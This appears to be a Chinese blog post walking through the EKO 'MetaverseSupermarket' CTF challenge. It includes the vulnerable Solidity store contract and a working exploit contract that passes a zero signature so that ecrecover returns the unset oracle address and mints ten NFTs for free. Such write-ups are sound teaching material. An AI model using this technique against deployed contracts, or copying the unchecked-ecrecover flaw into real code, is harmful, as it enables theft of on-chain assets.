EKO

CTF-EKO-MetaverseSupermarket

Posted by Thomas_Xu on 2023-02-25

CTF-EKO-MetaverseSupermarket


author:Thomas_Xu

这个CTF的难度好像普遍不是很难,我会保持一天更新一篇。

先来看题目描述:

我们都生活在 Inflation Metaverse 中,这是一个由 INFLA 代币主导的数字世界。稳定性已经成为一种稀缺资源,甚至去商店都是一种痛苦的经历:我们需要依赖预言机来签署持续几个区块的链下数据,因为在链上更新价格将是完全疯狂的。
你离开了 INFLA,你正在挨饿,你能打败这个系统吗?

看起来这个题和价格预言机有关,接下来重点关注预言机部分。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "openzeppelin-contracts/utils/cryptography/EIP712.sol";

struct OraclePrice {
uint256 blockNumber;
uint256 price;
}

struct Signature {
uint8 v;
bytes32 r;
bytes32 s;
}

abstract contract InflaStoreEIP712 is EIP712 {
bytes32 public constant ORACLE_PRICE_TYPEHASH = keccak256("OraclePrice(uint256 blockNumber,uint256 price)");

function _hashOraclePrice(OraclePrice memory oraclePrice) internal view returns (bytes32 hash) {
return _hashTypedDataV4(
keccak256(abi.encode(ORACLE_PRICE_TYPEHASH, oraclePrice.blockNumber, oraclePrice.price))
);
}
}

/// @title Metaverse Supermarket
/// @author https://twitter.com/adrianromero
/// @notice We are all living in the Inflation Metaverse, a digital world dominated by the INFLA token. You are out of INFLAs and you are starving, can you defeat the system?
/// @custom:url https://www.ctfprotocol.com/tracks/eko2022/metaverse-supermarket
contract InflaStore is InflaStoreEIP712 {
Meal public immutable meal;
Infla public immutable infla;

address private owner;
address private oracle;

uint256 public constant MEAL_PRICE = 1e6;
uint256 public constant BLOCK_RANGE = 10;

constructor(address player) EIP712("InflaStore", "1.0") {
meal = new Meal();
infla = new Infla(player, 10);
owner = msg.sender;
}

function setOracle(address _oracle) external {
require(owner == msg.sender, "!owner");
oracle = _oracle;
}

function buy() external {
_mintMeal(msg.sender, MEAL_PRICE);
}

function buyUsingOracle(OraclePrice calldata oraclePrice, Signature calldata signature) external {
_validateOraclePrice(oraclePrice, signature);
_mintMeal(msg.sender, oraclePrice.price);
}

function _mintMeal(address buyer, uint256 price) private {
infla.transferFrom(buyer, address(this), price);
meal.safeMint(buyer);
}

function _validateOraclePrice(OraclePrice calldata oraclePrice, Signature calldata signature) private view {
require(block.number - oraclePrice.blockNumber < BLOCK_RANGE, "price too old!");

bytes32 oracleHash = _hashOraclePrice(oraclePrice);
address recovered = _recover(oracleHash, signature.v, signature.r, signature.s);

require(recovered == oracle, "not oracle!");
}

function _recover(bytes32 digest, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
require(v == 27 || v == 28, "invalid v!");
return ecrecover(digest, v, r, s);
}
}

import "solmate/tokens/ERC721.sol";

contract Meal is ERC721("Meal", "MEAL") {
address private immutable _owner;
uint256 private _tokenIdCounter;

constructor() {
_owner = msg.sender;
}

function safeMint(address to) external {
require(_owner == msg.sender, "Only owner can mint");
uint256 tokenId = _tokenIdCounter;
unchecked {
++_tokenIdCounter;
}
_safeMint(to, tokenId);
}

function tokenURI(uint256) public pure override returns (string memory) {
return "ipfs://QmQqCFY7Dt9SFgadayt8eeTr7i5XauiswxeLysexbymGp1";
}
}

import "solmate/tokens/ERC20.sol";

contract Infla is ERC20("INFLA", "INF", 18) {
constructor(address player, uint256 amount) {
_mint(player, amount);
}
}

通读一遍后,这个challange大概是由一个Store合约、一个ERC20和一个ERC721构成,题目很清楚。接下来关注Factory:

1
2
3
4
5
6
7
8
9
10
11
12
function deploy(address _player) external payable override returns (address[] memory ret) {
require(msg.value == 0, "dont send ether");
address _challenge = address(new InflaStore(_player));

ret = new address[](1);
ret[0] = _challenge;
_challengePlayer[_challenge] = _player;
}

function isComplete(address[] calldata _challenges) external view override returns (bool) {
return IERC721(address(InflaStore(_challenges[0]).meal())).balanceOf(_challengePlayer[_challenges[0]]) >= 10;
}

Challange的目的是要我们想办法获得10个NFT,但store中明码标价10e6一个,而穷酸的我们只拥有10wei,(看来钱不是万能的,技术才是硬道理hhhh)

这里我们注意到一个关键点:store里面有个预言机初始化函数setOracle,但在factory中并没有调用这个函数,导致store里的预言机地址是没有初始化的。so我们来看看store里的价格预言机购买函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
function _validateOraclePrice(OraclePrice calldata oraclePrice, Signature calldata signature) private view {
require(block.number - oraclePrice.blockNumber < BLOCK_RANGE, "price too old!");

bytes32 oracleHash = _hashOraclePrice(oraclePrice);
address recovered = _recover(oracleHash, signature.v, signature.r, signature.s);

require(recovered == oracle, "not oracle!");
}

function _recover(bytes32 digest, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) {
require(v == 27 || v == 28, "invalid v!");
return ecrecover(digest, v, r, s);
}

_validateOraclePrice()中通过签名检查价格是否是预言机所签名的价格,来执行交易。在这里我们要知道

ecrecover在参数错误的情况下是会返回0的。一旦oracle地址没有初始化,这里会出现漏洞,任何人都可以跳过检查以自己想要的价格买入NFT。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;

import "../ChallengeMetaverseSupermarket.sol";

contract ChallengeMetaverseSupermarketAttacker {
constructor(address target) {
InflaStore inflaStore = InflaStore(target);
Meal meal = inflaStore.meal();

OraclePrice memory price = OraclePrice(block.number, 0);
Signature memory signature = Signature(27, 0, 0);

for (uint256 i; i < 10; i++) {
inflaStore.buyUsingOracle(price, signature);
meal.transferFrom(address(this), msg.sender, i);
}
}
}

总的来说,这个题两个关键点:

  • 一个是初始化函数setOracle没有被调用
  • 没有对ercrecover进行0值判断

notice

true

This is copyright.

...

...

00:00
00:00